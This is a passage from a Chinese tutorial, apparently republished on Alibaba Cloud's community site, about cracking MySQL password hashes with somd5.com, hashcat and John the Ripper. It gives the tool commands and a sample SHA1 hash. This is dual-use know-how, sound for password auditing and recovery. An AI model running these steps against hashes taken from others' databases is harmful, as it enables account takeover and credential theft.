  • somd5.com 破解。Somd5.com 是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

3、Oclhash 破解

Hashcat 支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

4、John the Ripper password cracker

John the Ripper 下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能够破解 linux 外,还能破解多种格式的密码

Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //查看支持mysql密码破解的算法


原文发布时间为:2018-06-7
本文作者:陈小兵
本文来自云栖社区合作伙伴“ DBAplus社群”,了解相关信息可以关注“ DBAplus社群”。
相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1月前
|
SQL 关系型数据库 MySQL
MYSQL根据查询结果删除sql 去除重复id 新增对比前一条与后一条数据 去重3种方法​ 窗口函数
MYSQL根据查询结果删除sql 去除重复id 新增对比前一条与后一条数据 去重3种方法​ 窗口函数
|
1月前
|
关系型数据库 MySQL Linux
linux CentOS 7.4下 mysql5.7.20 密码改简单的方法
linux CentOS 7.4下 mysql5.7.20 密码改简单的方法
30 0
|
11天前
|
SQL 关系型数据库 MySQL
MYSQL————DDL方法使用(包含在数据库,以及具体数据库表格的一些操纵)
MYSQL————DDL方法使用(包含在数据库,以及具体数据库表格的一些操纵)
|
13天前
|
SQL 数据管理 关系型数据库
数据管理DMS产品使用合集之误删了数据库后,恢复方法有哪些
阿里云数据管理DMS提供了全面的数据管理、数据库运维、数据安全、数据迁移与同步等功能,助力企业高效、安全地进行数据库管理和运维工作。以下是DMS产品使用合集的详细介绍。
|
14天前
|
存储 算法 关系型数据库
mysql存储地理信息的方法
MySQL 支持 `GEOMETRY` 及其子类型(如 `POINT`, `LINESTRING`, `POLYGON`)存储地理信息,并提供 `SPATIAL` 索引来加速查询。创建带有 `SPATIAL INDEX` 的表,使用 `GeomFromText` 或 `PointFromText` 插入数据,通过 `MBRContains`, `Distance_Sphere`, `ST_Distance_Sphere` 等函数查询。例如,查找矩形区域内位置、一定距离内的点,以及判断点是否在多边形内并计算距离。
22 1
|
17天前
|
SQL 关系型数据库 MySQL
MySQL大数据量分页查询方法及其优化
MySQL大数据量分页查询方法及其优化
|
21天前
|
数据库 监控 关系型数据库
|
1月前
|
Prometheus Cloud Native 关系型数据库
实时计算 Flink版产品使用合集之binlog被清理掉的问题,并且binlog有备份,有什么方法来恢复到RDS
实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
|
20天前
|
关系型数据库 MySQL 5G
Mysql数据迁移3个快速方法与数据库恢复
Mysql数据迁移3个快速方法与数据库恢复
22 0
|
1月前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结

热门文章

最新文章